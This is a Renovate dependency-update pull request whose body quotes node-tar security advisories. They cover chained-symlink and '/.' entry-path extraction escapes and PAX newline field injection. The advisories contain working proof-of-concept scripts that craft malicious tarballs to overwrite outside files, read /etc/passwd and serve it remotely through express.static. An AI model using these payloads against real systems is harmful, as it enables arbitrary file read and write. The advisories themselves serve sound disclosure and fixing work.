Skip to content

chore(deps): update dependency tar@<=7.5.17 to v8 [security] - #6513

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-tar-=7.5.17-vulnerability
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-tar-=7.5.17-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Dec 3, 2026 •

Copy link
Copy Markdown
Contributor

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
tar@<=7.5.17 7.5.18 → 8.0.2 age confidence

node-tar: Symlink target escapes the extraction directory through an in-archive symlink chain

CVE-2026-140249 / GHSA-4pf9-5fpx-xmr6

More information

Details

Summary

Summary
With default options, tar.x() in tar 7.5.5 through 7.5.23 (the latest release) creates a symbolic link that points outside the extraction directory, and raises no warning. The archive needs only a directory and two symlinks. This breaks the README's listed protection that "Link and SymbolicLink entries are not allowed to target locations outside of the extraction folder."

This is not the TOCTOU case (no one but tar touches the extraction folder) and not an old version: it reproduces on 7.5.23 and on main (eb92e17), with default options.

Details

x/ Directory
x/y -> .. (resolves to cwd: allowed)
l -> x/y/../secret.txt (checked as cwd/x/secret.txt; really cwd/../secret.txt)

  • [STRIPABSOLUTEPATH] validates the lexically normalized linkpath, x/secret.txt, which is inside cwd.
  • [SYMLINK] runs ENSURE_NO_SYMLINK on path.resolve(...) of the linkpath, which also removes y/.. before checking, so it never sees that x/y is a symlink.
  • [LINK] then creates the link with the raw linkpath, x/y/../secret.txt. The kernel resolves x/y first (to cwd), then applies .., so l points to cwd/../secret.txt.

Repeating the x/y/ step reaches any absolute path: x/y/ × 8 followed by ../ × 16 and etc/hostname fits in the 100-byte ustar linkpath field and points at /etc/hostname. Entry order does not matter; the link can come before or after x/y.

This is the same chain as the proof of concept in GHSA-83g3-92jg-28cx (CVE-2026-26960). That fix blocked the hardlink created through the chain; the symlink itself is still created. 7.5.3 and 7.5.4 reject it (they refused any .. in a linkpath); the regression came with the relaxation in #​450 ("Allow unpacking symlinks that don't escape cwd") in 7.5.5. Versions ≤ 7.5.2 also create the link but are already covered by GHSA-8qq5-rm4j-mr97.

Suggested fix

Create the symlink with the same normalized target that [STRIPABSOLUTEPATH] validated, instead of the raw linkpath. Patch against main (eb92e17):

--- a/src/unpack.ts
+++ b/src/unpack.ts
@​@​ -651,7 +651,23 @​@​ export class Unpack extends Parser {
entry,
this.cwd,
parts,

  •  () => this[LINK](entry, String(entry.linkpath), 'symlink', done),
    
  •  // Create the symlink with the same lexically-normalized target that
    
  •  // [STRIPABSOLUTEPATH] validated.  Writing the raw linkpath would let a
    
  •  // `..` segment follow a component that is (or later becomes) a symlink
    
  •  // in the extraction dir, e.g. `x/y -> ..` plus `l -> x/y/../secret`,
    
  •  // which normalizes to the in-bounds `x/secret` but really resolves
    
  •  // outside cwd.
    
  •  () =>
    
  •    this[LINK](
    
  •      entry,
    
  •      this.preservePaths ?
    
  •        String(entry.linkpath)
    
  •      : path.posix.normalize(
    
  •          normalizeWindowsPath(String(entry.linkpath)),
    
  •        ),
    
  •      'symlink',
    
  •      done,
    
  •    ),
     er => {
       this[ONERROR](er, entry)
       done()
    

It was created as x/secret.txt and stays inside cwd. There is also a regression test, test/symlink-chain-escape.ts, covering both entry orders with async and sync extraction: it fails on main and passes with the patch. The full suite passes with the patch (tap: 21,254 of 21,254). An adjusted approach for example, could be resolving each linkpath component against the extraction tree instead of normalizing lexically, preserving link targets byte-for-byte but at more cost.

Proof of concept

Save as poc.cjs next to a node_modules/tar install and run node poc.cjs ./node_modules/tar ./work. It builds the archive with tar's own Header, extracts it with default options (async and sync), and then does what an application normally does next: writes to a file by its name in the archive.

const fs = require('fs')
const path = require('path')
const tar = require(path.resolve(process.argv[2]))
const work = path.resolve(process.argv[3])
fs.rmSync(work, { recursive: true, force: true })
const cwd = path.join(work, 'extract')
fs.mkdirSync(cwd, { recursive: true })
const secret = path.join(work, 'secret.txt') // outside the extraction dir
fs.writeFileSync(secret, 'ORIGINAL\n')

const entries = [
{ path: 'x/', type: 'Directory' },
{ path: 'x/y', type: 'SymbolicLink', linkpath: '..' },
{ path: 'l', type: 'SymbolicLink', linkpath: 'x/y/../secret.txt' },
{ path: 'deep', type: 'SymbolicLink',
linkpath: 'x/y/'.repeat(8) + '../'.repeat(16) + 'etc/hostname' },
]
const blocks = []
for (const e of entries) {
const b = Buffer.alloc(512)
new tar.Header({ ...e, mode: 0o755, size: 0, mtime: new Date(0) }).encode(b, 0)
blocks.push(b)
}
blocks.push(Buffer.alloc(1024))
const tarFile = path.join(work, 'poc.tar')
fs.writeFileSync(tarFile, Buffer.concat(blocks))

const run = async (sync) => {
fs.rmSync(cwd, { recursive: true, force: true }); fs.mkdirSync(cwd)
fs.writeFileSync(secret, 'ORIGINAL\n')
const warns = []
const opts = { cwd, file: tarFile, onwarn: (c, m) => warns.push(c + ' ' + m) }
if (sync) tar.x({ ...opts, sync: true }); else await tar.x(opts)
console.log(--- tar.x({cwd, file${sync ? ', sync:true' : ''}}))
console.log('warnings:', warns.length ? warns : 'none')
console.log('readlink l ->', fs.readlinkSync(path.join(cwd, 'l')))
console.log('realpath l ->', fs.realpathSync.native(path.join(cwd, 'l')))
console.log('realpath deep ->', fs.realpathSync.native(path.join(cwd, 'deep')))
fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
console.log('secret.txt now ->', JSON.stringify(fs.readFileSync(secret, 'utf8')))
}
run(false).then(() => run(true))

Output on tar 7.5.23, Node 22.23.4, Linux:

--- tar.x({cwd, file})
warnings: none
readlink l -> x/y/../secret.txt
realpath l -> /secret.txt
realpath deep -> /etc/hostname
secret.txt now -> "PWNED\n"
--- tar.x({cwd, file, sync:true})
warnings: none
readlink l -> x/y/../secret.txt
realpath l -> /secret.txt
realpath deep -> /etc/hostname
secret.txt now -> "PWNED\n"

Same result on 7.5.5, 7.5.11 and on main (eb92e17), and with open PR #​470 applied. 7.5.4 rejects all three links (TAR_ENTRY_ERROR linkpath contains '..').

Impact

An attacker who supplies a tarball can make tar.x() with default options leave symlinks inside the extraction directory that point to any path on the system. tar itself does not write through them, but any later read or write of the extracted files by the application follows them: the PoC overwrites a file outside the extraction directory and resolves a link to /etc/hostname. This gives arbitrary file read and write as the extracting user, the same impact as GHSA-83g3-92jg-28cx and GHSA-9ppj-qmqm-q256.

Applications that follow the README's advice to filter out link entries for untrusted input are not affected; npm itself filters links from package artifacts.

Severity

  • CVSS Score: 7.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


node-tar: Symlink containment bypass via chained symlinks lets tar.x() create links that resolve outside the extraction directory (regression since 7.5.5)

CVE-2026-140250 / GHSA-3wwj-8j6r-q339

More information

Details

Summary

With default options, tar.x() in tar@7.5.22 (and every release since 7.5.5) extracts a symbolic link that resolves outside the extraction directory when the link target passes through another symlink from the same archive and then uses .. — for example sub/up -> .. followed by esc -> sub/up/... Both symlink-target checks collapse .. lexically before considering symlinks, so the intermediate symlink is never seen, while the kernel resolves it before applying ... With enough nesting the extracted link resolves to /.

This breaks the README guarantee that "Link and SymbolicLink entries are not allowed to target locations outside of the extraction folder", and gives any application that later reads or writes extracted paths file read/write outside the extraction root (the same impact model as GHSA-9ppj-qmqm-q256). It is a regression of the containment added for GHSA-8qq5-rm4j-mr97 (7.5.3–7.5.4 reject the chain; 7.5.5–7.5.22 accept it), and it also bypasses the [SYMLINK] check added for GHSA-83g3-92jg-28cx. A self-contained PoC, measured version matrix, and a remote-read deployment example are below.

Details
Malicious archive

Three entries, no file contents needed:

sub/        Directory
sub/up      SymbolicLink -> ..          lexical: "sub/.."    = "."    (inside)
esc         SymbolicLink -> sub/up/..   lexical: "sub/up/.." = "sub"  (inside)

On disk, the kernel resolves esc as sub/up → <cwd>, then .. → parent of <cwd>.

Root cause 1 — lexical escape check in [STRIPABSOLUTEPATH]

src/unpack.ts:284-291 at v7.5.22 (dist/commonjs/unpack.js:278-281):

// Resolve linkpath relative to the entry's directory.
// `path.posix` is safe to use because we're operating on
// tar paths, not a filesystem.
const entryDir = path.posix.dirname(entry.path)
const resolved = path.posix.normalize(
  path.posix.join(entryDir, parts.join('/')),
)
// If the resolved path escapes (starts with ..), reject it
if (resolved.startsWith('../') || resolved === '..') {

For esc, sub/up/.. normalizes to sub, so it passes. The comment's assumption ("tar paths, not a filesystem") does not hold once an earlier entry of the same archive has created sub/up as a real symlink on disk. This relaxation was introduced in 7.5.5 by e9a1ddb ("fix: do not prevent valid linkpaths within archive", PR #​450). 7.5.3 and 7.5.4 rejected any .. in a linkpath and are not affected.

Root cause 2 — the symlink-component check also runs after normalization in [SYMLINK]

src/unpack.ts:640-650 (dist/commonjs/unpack.js:551):

[SYMLINK](entry: ReadEntry, done: () => void) {
  const parts = normalizeWindowsPath(
    path.relative(
      this.cwd,
      path.resolve(
        path.dirname(String(entry.absolute)),
        String(entry.linkpath),
      ),
    ),
  ).split('/')
  this[ENSURE_NO_SYMLINK](

path.resolve collapses sub/up/.. to sub, so [ENSURE_NO_SYMLINK] (src/unpack.ts:679-696) only lstats sub (a real directory) and never sees the symlink sub/up. This check was added by d18e4e1 ("do not write linkpaths through symlinks"), the fix for GHSA-83g3-92jg-28cx, and the same normalization bypasses it. Separately, [ENSURE_NO_SYMLINK] treats a missing component as safe (if (er) return done()), so even a walk over the raw components would depend on entry order.

Reaching any ancestor, up to /

With N nested directories:

d0/ … d0/…/dN-1/                Directory entries
d0/…/dN-1/up -> ../…/..         (N times "..")   lexical: "."   (inside)
root -> d0/…/dN-1/up/../…/..    (N times "..")   lexical: "."   (inside)

root resolves N levels above <cwd>, which is / once N is at least the depth of <cwd>. The PoC uses N = 12.

What node-tar still blocks

Writing a file entry or creating a hardlink through the escaping link from inside the same archive is rejected (TAR_SYMLINK_ERROR: Cannot extract through symbolic link). The impact appears when the application accesses paths under the extraction directory afterwards — the same model as GHSA-9ppj-qmqm-q256 ("Writing through the extracted symlink overwrites the outside file").

Affected versions (measured)

The PoC below was run against each version, installed with --ignore-scripts:

Version Control esc -> ../ Chain esc -> sub/up/.. Result
6.2.1, 7.0.0, 7.4.3, 7.5.2 created escapes Pre-GHSA-8qq5: no symlink-target containment (already public, not part of this report)
7.5.3, 7.5.4 rejected rejected (linkpath contains '..') Not affected
7.5.5, 7.5.6, 7.5.7, 7.5.8, 7.5.10, 7.5.11, 7.5.21, 7.5.22 rejected escapes Affected
Relation to published advisories
Advisory Relation
GHSA-8qq5-rm4j-mr97 (≤ 7.5.2) Introduced symlink-target containment. This report is a regression of it from 7.5.5.
GHSA-83g3-92jg-28cx (≤ 7.5.7) Used the same chain shape (a/b/escape -> c/up/../..) to route a hardlink. Hardlinks through the chain are now blocked, but the escaping symlink itself is still created, and the [SYMLINK] check added by that fix is bypassed.
GHSA-9ppj-qmqm-q256 (≤ 7.5.10) Same impact (an extracted symlink resolving outside cwd, then a later write through it) via a different mechanism (drive-relative C:..).
GHSA-qffp-2rhf-9h96, GHSA-34x7-hfp2-rc4v Hardlink-only escapes through other mechanisms. Unrelated to this path.
Proof of concept
Environment used
  • tar@7.5.22 (npm latest on 2026-10-30; tarball sha256 b792c2d1c7fc770910522ca1ffc29eee02ee38de4fa3a01e7832eb705879c6c6, npm shasum a696f998136e71487dc3f869a85bba2c67971ba9)
  • Node v22.23.4 in Docker node:22-slim, Linux kernel 6.18
  • Extraction options: defaults (tar.x({ file, cwd }), no preservePaths, no filter)
  • Not tested on macOS or Windows. macOS uses POSIX symlinks and should behave the same; on Windows, symlink creation usually requires extra privileges.
Files

Save both files below in an empty directory.

repro.cjs — builds the archives with tar's own Header class. No other dependencies. Everything is written under ./work. It prints JSON and exits with code 1 when vulnerable.

// node-tar chained-symlink containment bypass — self-contained reproduction.
// Usage: npm install tar@7.5.22 && node repro.cjs
// Everything is created under ./work (deleted and recreated per case); nothing outside it is written.
// Exit code: 1 if any extracted link resolves outside the extraction dir (VULNERABLE), 0 otherwise.
'use strict'
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const WORK = path.resolve(__dirname, 'work')
const OUT = path.join(WORK, 'uploads', 'job-1', 'out')   // extraction dir, 3 levels below WORK
const OUTSIDE_CONFIG = path.join(WORK, 'uploads', 'job-1', 'config.json')   // parent of OUT
const OUTSIDE_SECRET = path.join(WORK, 'uploads', 'job-0-secret.txt')      // sibling job

function makeTar(file, entries) {
  const blocks = entries.map(e => {
    const b = Buffer.alloc(512)
    new Header({ mode: e.type === 'Directory' ? 0o755 : 0o644, mtime: new Date(0), ...e }).encode(b, 0)
    return b
  })
  fs.writeFileSync(file, Buffer.concat([...blocks, Buffer.alloc(1024)]))
}

function reset() {
  fs.rmSync(WORK, { recursive: true, force: true })
  fs.mkdirSync(OUT, { recursive: true })
  fs.writeFileSync(OUTSIDE_SECRET, 'OTHER-JOB-SECRET\n')
  fs.writeFileSync(OUTSIDE_CONFIG, '{"admin":false}\n')
}

function extract(name, entries) {
  reset()
  const file = path.join(WORK, name)
  makeTar(file, entries)
  const warnings = []
  x({ file, cwd: OUT, sync: true, onwarn: (code, msg) => warnings.push(`${code}: ${msg}`) })
  return warnings
}

// Kernel view of a link. Node's JS fs.realpathSync normalizes ".." lexically and would hide the escape.
function inspect(link) {
  let linkpath = null, realpath = null
  try { linkpath = fs.readlinkSync(link) } catch (e) { return { created: false } }
  try { realpath = fs.realpathSync.native(link) } catch (e) { realpath = e.code }
  const escapes = typeof realpath === 'string' && realpath !== OUT && !realpath.startsWith(OUT + path.sep)
  return { created: true, linkpath, realpath, escapes }
}
const tryRead = p => { try { return fs.readFileSync(p, 'utf8').split('\n')[0] } catch (e) { return 'ERR ' + e.code } }

const results = []

// 0. Control: a direct escaping symlink. Rejected by current versions.
let w = extract('control.tar', [{ path: 'esc', type: 'SymbolicLink', linkpath: '../' }])
results.push({ case: '0 control: esc -> ../', warnings: w, ...inspect(path.join(OUT, 'esc')) })

// 1. Two-link chain: every linkpath is lexically inside, the result is one level above OUT.
w = extract('chain1.tar', [
  { path: 'sub/', type: 'Directory' },
  { path: 'sub/up', type: 'SymbolicLink', linkpath: '..' },        // lexically "."
  { path: 'esc', type: 'SymbolicLink', linkpath: 'sub/up/..' },    // lexically "sub"
])
const esc = path.join(OUT, 'esc')
const r1 = { case: '1 chain: sub/up -> .., esc -> sub/up/..', warnings: w, ...inspect(esc) }
if (r1.escapes) {
  r1.read_OUT_esc_config_json = tryRead(path.join(esc, 'config.json'))
  fs.writeFileSync(path.join(esc, 'config.json'), '{"admin":true}\n')   // an application writing into OUT/esc/
  r1.outside_config_after_write = tryRead(OUTSIDE_CONFIG)
}
results.push(r1)

// 2. Deeper chain: N nested dirs let the link climb N levels; N >= depth of OUT reaches "/".
const N = Number(process.env.DEPTH || 12)
const dirs = Array.from({ length: N }, (_, i) => 'd' + i)
const ups = Array(N).fill('..').join('/')
const entries = []
for (let i = 1; i <= N; i++) entries.push({ path: dirs.slice(0, i).join('/') + '/', type: 'Directory' })
entries.push({ path: dirs.join('/') + '/up', type: 'SymbolicLink', linkpath: ups })                 // lexically "."
entries.push({ path: 'root', type: 'SymbolicLink', linkpath: dirs.join('/') + '/up/' + ups })       // lexically "."
w = extract('chainN.tar', entries)
const root = path.join(OUT, 'root')
const r2 = { case: `2 chain depth ${N}: root -> ${dirs.join('/')}/up/${ups}`, warnings: w, ...inspect(root) }
if (r2.escapes) {
  r2.read_OUT_root_etc_passwd = tryRead(path.join(root, 'etc', 'passwd'))
  r2.read_sibling_job_secret = tryRead(path.join(root, path.relative('/', OUTSIDE_SECRET)))
}
results.push(r2)

const vulnerable = results.some(r => r.escapes)
console.log(JSON.stringify({ node: process.version, tar: require('tar/package.json').version, platform: process.platform,
  verdict: vulnerable ? 'VULNERABLE' : 'NOT VULNERABLE', results }, null, 2))
process.exitCode = vulnerable ? 1 : 0

run.sh — optional isolated run in Docker (install with network, proof without network, as your own uid):

#!/bin/sh
##### Isolated reproduction in Docker. Run from the directory containing repro.cjs.

##### Step 1 installs tar without lifecycle scripts (needs network); step 2 runs the proof with networking off.
##### Runs as your own uid so the bind mount is writable on Linux hosts.
set -e
VER="${TAR_VERSION:-7.5.22}"
U="$(id -u):$(id -g)"
docker run --rm --user "$U" -e HOME=/tmp -v "$PWD:/poc" -w /poc node:22-slim \
  sh -c "npm init -y >/dev/null && npm install --ignore-scripts --no-audit --no-fund tar@$VER >/dev/null"
docker run --rm --network none --user "$U" -e HOME=/tmp -v "$PWD:/poc" -w /poc node:22-slim node repro.cjs || true
Steps

Option A, in Docker:

sh run.sh                       # tests tar@7.5.22
TAR_VERSION=7.5.4 sh run.sh     # comparison: not affected

Option B, without Docker (Linux/macOS). This reads /etc/passwd through the extracted link and writes only under ./work:

npm init -y && npm install --ignore-scripts tar@7.5.22
node repro.cjs; echo "exit=$?"
Output with tar@7.5.22
{
  "node": "v22.23.4",
  "tar": "7.5.22",
  "platform": "linux",
  "verdict": "VULNERABLE",
  "results": [
    {
      "case": "0 control: esc -> ../",
      "warnings": [
        "TAR_ENTRY_ERROR: linkpath escapes extraction directory"
      ],
      "created": false
    },
    {
      "case": "1 chain: sub/up -> .., esc -> sub/up/..",
      "warnings": [],
      "created": true,
      "linkpath": "sub/up/..",
      "realpath": "/poc/work/uploads/job-1",
      "escapes": true,
      "read_OUT_esc_config_json": "{\"admin\":false}",
      "outside_config_after_write": "{\"admin\":true}"
    },
    {
      "case": "2 chain depth 12: root -> d0/d1/d2/d3/d4/d5/d6/d7/d8/d9/d10/d11/up/../../../../../../../../../../../..",
      "warnings": [],
      "created": true,
      "linkpath": "d0/d1/d2/d3/d4/d5/d6/d7/d8/d9/d10/d11/up/../../../../../../../../../../../..",
      "realpath": "/",
      "escapes": true,
      "read_OUT_root_etc_passwd": "root:x:0:0:root:/root:/bin/bash",
      "read_sibling_job_secret": "OTHER-JOB-SECRET"
    }
  ]
}

What it shows:

  • Case 0 (control): a direct ../ link is rejected, so containment is working.
  • Case 1: the chained link esc resolves to the parent of the extraction dir (.../job-1). Reading out/esc/config.json returns the parent's file, and writing to it changes the file outside the extraction dir.
  • Case 2: the depth-12 chain resolves to /. out/root/etc/passwd and another job's file (uploads/job-0-secret.txt) are readable through it.

The outputs were identical across 3 consecutive runs, and the async API (await tar.x({ file, cwd })) gives the same result.

Output with tar@7.5.4 (comparison)
{
  "node": "v22.23.4",
  "tar": "7.5.4",
  "platform": "linux",
  "verdict": "NOT VULNERABLE",
  "results": [
    {
      "case": "0 control: esc -> ../",
      "warnings": [
        "TAR_ENTRY_ERROR: linkpath contains '..'"
      ],
      "created": false
    },
    {
      "case": "1 chain: sub/up -> .., esc -> sub/up/..",
      "warnings": [
        "TAR_ENTRY_ERROR: linkpath contains '..'",
        "TAR_ENTRY_ERROR: linkpath contains '..'"
      ],
      "created": false
    },
    {
      "case": "2 chain depth 12: root -> d0/d1/d2/d3/d4/d5/d6/d7/d8/d9/d10/d11/up/../../../../../../../../../../../..",
      "warnings": [
        "TAR_ENTRY_ERROR: linkpath contains '..'",
        "TAR_ENTRY_ERROR: linkpath contains '..'"
      ],
      "created": false
    }
  ]
}
Expected (safe) behavior

The chained entries are rejected the same way as the control, with a TAR_ENTRY_ERROR warning, or are created so that they resolve inside cwd. The script then prints "verdict": "NOT VULNERABLE" and exits with code 0. It doubles as a regression check for a fix.

Note: Node's JS fs.realpathSync normalizes .. lexically and reports an in-root path for esc. The PoC therefore uses fs.realpathSync.native, which returns the same result as readlink -f.

Deployment example: unauthenticated remote file read

A common pattern is a service that extracts an uploaded tarball into a per-user directory and serves it with express.static (defaults). The uploaded archive contains index.html plus the depth-12 chain named assets. The server listens on 127.0.0.1 only and exits after three requests.

serve-demo.cjs:

// Deployment example: a service extracts an uploaded tarball with tar defaults and serves it with
// express.static. Usage: npm install tar@7.5.22 express@5 && node serve-demo.cjs
// Listens only on 127.0.0.1 and exits after three requests. Files are created under ./work-serve only.
'use strict'
const fs = require('fs')
const path = require('path')
const http = require('http')
const express = require('express')
const { Header, x } = require('tar')

const WORK = path.resolve(__dirname, 'work-serve')
const SITE = path.join(WORK, 'sites', 'user-123')
fs.rmSync(WORK, { recursive: true, force: true })
fs.mkdirSync(SITE, { recursive: true })

// Attacker-uploaded archive: a normal index.html plus a depth-12 chain named "assets".
const N = 12
const dirs = Array.from({ length: N }, (_, i) => 'd' + i)
const ups = Array(N).fill('..').join('/')
const entries = [{ path: 'index.html', type: 'File', body: 'hello\n' }]
for (let i = 1; i <= N; i++) entries.push({ path: dirs.slice(0, i).join('/') + '/', type: 'Directory' })
entries.push({ path: dirs.join('/') + '/up', type: 'SymbolicLink', linkpath: ups })
entries.push({ path: 'assets', type: 'SymbolicLink', linkpath: dirs.join('/') + '/up/' + ups })
const blocks = []
for (const e of entries) {
  const body = e.body ? Buffer.from(e.body) : null
  const h = Buffer.alloc(512)
  new Header({ path: e.path, type: e.type, linkpath: e.linkpath, size: body ? body.length : 0,
    mode: e.type === 'Directory' ? 0o755 : 0o644, mtime: new Date(0) }).encode(h, 0)
  blocks.push(h)
  if (body) blocks.push(Buffer.concat([body, Buffer.alloc(512 - (body.length % 512 || 512))]))
}
const upload = path.join(WORK, 'upload.tar')
fs.writeFileSync(upload, Buffer.concat([...blocks, Buffer.alloc(1024)]))

// Server side: default extraction options, default express.static.
x({ file: upload, cwd: SITE, sync: true })
const app = express()
app.use('/sites/user-123', express.static(SITE))
const server = app.listen(0, '127.0.0.1', async () => {
  const port = server.address().port
  const get = p => new Promise(resolve => http.get({ host: '127.0.0.1', port, path: p }, res => {
    let d = ''
    res.on('data', c => (d += c))
    res.on('end', () => resolve({ path: p, status: res.statusCode, first_line: d.split('\n')[0] }))
  }))
  const requests = []
  for (const p of ['/sites/user-123/index.html', '/sites/user-123/assets/etc/passwd', '/sites/user-123/assets/etc/hostname']) {
    requests.push(await get(p))
  }
  console.log(JSON.stringify({ tar: require('tar/package.json').version, express: require('express/package.json').version, requests }, null, 2))
  server.close()
})

Run:

npm init -y && npm install --ignore-scripts tar@7.5.22 express@5
node serve-demo.cjs

Output (Docker, --network none, loopback only):

{
  "tar": "7.5.22",
  "express": "5.3.0",
  "requests": [
    {
      "path": "/sites/user-123/index.html",
      "status": 200,
      "first_line": "hello"
    },
    {
      "path": "/sites/user-123/assets/etc/passwd",
      "status": 200,
      "first_line": "root:x:0:0:root:/root:/bin/bash"
    },
    {
      "path": "/sites/user-123/assets/etc/hostname",
      "status": 200,
      "first_line": "edab13260d70"
    }
  ]
}
Impact

Vulnerability type: link following and path traversal in archive extraction (CWE-59, CWE-22). With default options, tar.x() creates a symlink inside the extraction directory that resolves outside it, up to /. This breaks the README's documented guarantee for SymbolicLink entries.

Who is impacted: applications that extract attacker-controlled tarballs with tar 7.5.5–7.5.22 using default options and then access paths under the extraction directory. Examples: serving extracted files (as in the express.static example), reading or post-processing them, writing results or configuration into the extracted tree, or copying files out while following links. The README promises that link targets stay inside the extraction folder, so applications reasonably rely on that instead of adding their own link filter.

What an attacker gains: read and write access to files outside the extraction root, with the privileges of the extracting process. This can include other users' uploads in a shared parent directory, application configuration, keys readable by the service account, and any writable file. Demonstrated above:

  • reading /etc/passwd and another job's file
  • overwriting a parent-directory config file
  • an unauthenticated remote read over HTTP through express.static

Not required: preservePaths, special filesystems, race conditions, or Windows.

Remediation idea (untested proposal): accept a SymbolicLink linkpath only when every .. segment comes before any other segment, i.e. only leading ../ segments, bounded by the entry's depth.

  • sub/up/.. is then rejected, while ../sibling/file (the case PR #​450 wanted to allow) stays valid.
  • Each accepted link can only climb above its own real parent directory and never passes .. through another link, so chains cannot leave cwd. The rule does not depend on entry order.
  • repro.cjs above can serve as the regression test: it must print NOT VULNERABLE.

Severity

  • CVSS Score: 7.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


node-tar: Symlink linkpath containment bypass via entry paths ending in '/.'

CVE-2026-140245 / GHSA-jmj2-9c5q-vw73

More information

Details

Summary

A relative symlink linkpath is validated against path.posix.dirname(entry.path) but created at path.resolve(cwd, entry.path). An entry named 'x/.' shifts the check's base one level shallower, so one '..' is absorbed by the check and the link still escapes the extraction directory, with default options and no warning. Regression in 7.5.5-7.5.22 (introduced by the #​450 fix).

Details
Mechanism

[STRIPABSOLUTEPATH] resolves a relative linkpath against path.posix.dirname(entry.path) (src/unpack.ts:286), but the link is created at path.resolve(cwd, entry.path) (src/unpack.ts:359).

For an entry name ending in /., dirname returns a base one level shallower than the directory the link is actually created in. The check therefore normalises x/../outside/secret.txt to outside/secret.txt, which passes startsWith('../') at :291, while the kernel resolves the link from cwd and lands outside the destination.

Affected

>= 7.5.5, <= 7.5.22. The regression was introduced by e9a1ddb (the #​450 relative-linkpath fix). 7.5.4 rejects the entry with linkpath contains '..'.

Fix
const base = path.posix.dirname(normalize(entry.path))

Using the same base the filesystem will use makes the check and the write agree. Verified against a 1,464-pair property corpus: 300 buggy pairs rejected, 0 legitimate pairs rejected, 0 new accepts; 677 existing tests pass.

Notes

Distinct from GHSA-9ppj-qmqm-q256: that finding is a malicious linkpath string (C:..); here the linkpath is ordinary and the defect is the entry-path base computation. #​450 introduced this code, so it is the regression rather than a duplicate.

Proof of concept

Reproduced against the npm-published tar@7.5.22 (not only a source checkout), with one archive entry and default options:

{ path: 'x/.', type: 'SymbolicLink', linkpath: '../outside/secret.txt' }
pad    x -> ../outside/secret.txt   realpath resolves outside dest   warnings: []
ctrl   path 'x' (no '/.')           rejected: "linkpath escapes extraction directory"
strip  strip:1 (pacote/npm path)    x -> ../outside/secret.txt        warnings: []
7.5.4  baseline                     rejected: "linkpath contains '..'"

The x/. entry is created with the escaped target, with default options, and emits no warning. It also works with strip: 1, PAX path and GNU L.

PoC and controls: poc-linkpath-pad.mjs plus a version-regression script (7.5.2 vs 7.5.22).

Impact

A crafted archive can create a symlink pointing outside the extraction directory using default options and without any warning.

node-tar's own subsequent entries cannot follow the link — mkdir refuses symlink parents and file writes use O_NOFOLLOW — so the outside write is consumer-mediated: a caller that later writes through the extracted path writes outside the destination. This is the same impact model as the accepted GHSA-9ppj-qmqm-q256 / CVE-2026-31802, and it is not claimed to be an in-library write or npm RCE.

Severity

  • CVSS Score: 7.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


node-tar parses PAX extended headers by newline-splitting instead of length-delimiting, causing record dropping and forged-field injection

CVE-2026-140235 / GHSA-rgjp-p5j7-w36x

More information

Details

Summary

node-tar parses POSIX pax extended headers by splitting the header body on every newline and validating each resulting line's length prefix, instead of consuming length-delimited records as the format specifies. A record whose value contains a newline (which occurs legitimately whenever an archived filename contains a newline) is mishandled two ways: the true record is dropped (the entry falls back to its truncated 100-byte header name), and any post-newline fragment that itself forms a self-valid <length> key=value line is applied as a real extended-header field. This is a cross-implementation divergence and an arbitrary PAX-field injection primitive (path, size, linkpath, mode, uid, gid, mtime) driven by a single attacker-controlled filename or crafted archive.

Details
// src/pax.ts:151-167
const parseKV = (str) =>
  str.replace(/\n$/, '').split('\n')          // <- splits INSIDE length-valid record values
     .reduce(parseKVLine, Object.create(null))
const parseKVLine = (set, line) => {
  const n = parseInt(line, 10)
  // XXX Values with \n in them will fail this.
  // Refactor to not be a naive line-by-line parse.
  if (n !== Buffer.byteLength(line) + 1) return set   // record dropped when its value contained '\n'
  line = line.slice((n + ' ').length)
  // ... a forged '<len> key=value' fragment is then ACCEPTED as a real record
}

POSIX pax records are <len> key=value\n, where <len> counts the entire record including any newline inside the value. Splitting on \n breaks a record whose value contains a newline into fragments: the leading fragment fails the n === byteLength+1 check and is discarded, and a trailing fragment such as 24 path=forged-name.txt passes the check and is applied. The maintainer's own in-code XXX comment documents the limitation. A related facet in the same parser: numeric fields are coerced with JavaScript +v (src/pax.ts:196, 205), so size=0x10, size=1e3, size=1.5, and size=Infinity parse only in node-tar while GNU tar and Python tarfile reject or fall back, a separate three-way numeric divergence.

PoC

Validated on source main @​ 2a22bfc and against the published npm package tar@7.5.22, Node v24.19.0, compared with GNU tar 1.35 and Python 3.13.

##### create files whose names embed a newline + a forged record tail, pack with a compliant packer
python3 - <<'EOF'
import os; d='/tmp/paxnl/src'; os.makedirs(d, exist_ok=True)
open(os.path.join(d,'A'*95+'\nTAIL1.txt'),'w').write('PAX-DEPENDENT\n')          # legit newline name
open(os.path.join(d,'B'*95+'\n'+'24 path=forged-name.txt'),'w').write('INJECTED\n')  # forged path
open(os.path.join(d,'C'*95+'\n'+'10 size=0'),'w').write('EIGHTBYTS')              # forged size (true 9)
open(os.path.join(d,'D'*95+'\n'+'14 linkpath=a'),'w').write('X')                 # forged linkpath on a File
EOF
tar --format=posix -cf /tmp/paxnl/gnu.tar -C /tmp/paxnl/src .

Observed reading /tmp/paxnl/gnu.tar:

GNU tar / Python : true names, len 107-121, correct sizes, linkpath ''
node-tar t()     : pathlen=100 size=14                     (A: newline record dropped -> truncated)
                   pathlen=100 size=0                       (C: forged size=0, true size 9)
                   pathlen=100 linkpath="a"                 (D: forged linkpath on a plain File)
                   pathlen=15 "forged-name.txt" size=9      (B: forged path applied)
node-tar x()     : materializes 'forged-name.txt' on disk; A/C/D under truncated names

